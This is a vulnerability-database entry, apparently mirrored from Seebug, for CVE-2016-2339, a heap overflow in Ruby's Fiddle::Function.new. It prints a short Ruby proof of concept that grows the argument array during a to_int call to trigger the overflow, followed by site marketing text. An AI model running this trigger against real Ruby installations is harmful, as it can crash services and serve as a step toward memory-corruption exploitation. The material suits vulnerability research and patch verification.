Lucene search
K

Ruby Fiddle::Function.new Heap Overflow Vulnerability(CVE-2016-2339)

🗓️ 20 Oct 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 62 Views

Ruby Fiddle::Function.new Heap Overflow Vulnerability (CVE-2016-2339

Related
Code

                                                require 'fiddle'

$args = []
class MyObject  
    def to_int
        puts "increase size of array"
        (1..10).map{|x| $args.push(1)}
        puts "New args array size is : #{$args.length}"     
        return 1
    end
end
puts "Start"
x = MyObject.new
$args.push(x)
puts "args array size : #{$args.length}"
f = Fiddle::Function.new(nil, $args, Fiddle::TYPE_VOIDP)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation